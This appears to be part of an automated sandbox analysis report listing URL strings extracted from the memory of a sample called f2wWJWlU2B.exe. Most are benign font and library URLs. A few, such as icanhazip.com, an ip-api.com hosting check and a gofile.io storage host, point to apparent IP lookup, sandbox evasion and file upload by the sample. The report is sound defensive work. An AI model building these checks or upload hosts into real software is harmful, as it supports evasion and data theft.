Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com4HpD
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.comD8Hp
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com4Hph
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store11.gofile.io
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316249183.000000000654B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317669164.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comTC
Source: f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comTC)_
Source: f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.come
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comlt
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317669164.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comn-u
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.como.
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.como.)_
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.como.UY
Source: f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comori
Source: f2wWJWlU2B.exe, 00000005.00000002.605754131.0000000006DC0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/DotNetZip
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322077314.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324132904.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: f2wWJWlU2B.exe, 00000000.00000003.322077314.000000000655B000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322184716.000000000655B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html9
Source: f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers7Lp
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersuL
Source: f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324214060.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comF
Source: f2wWJWlU2B.exe, 00000000.00000003.345640936.0000000006550000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404369561.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345395761.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345937384.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345107780.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comFYI
Source: f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comFfI
Source: f2wWJWlU2B.exe, 00000000.00000003.322184716.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comSoI
Source: f2wWJWlU2B.exe, 00000000.00000003.345640936.0000000006550000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404369561.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341629193.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324214060.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324132904.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comalic
Source: f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comals
Source: f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comceo
Source: f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324214060.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325416378.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comcom
Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comd
Source: f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322498638.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdfI
Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdsed
Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322498638.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comeda:I
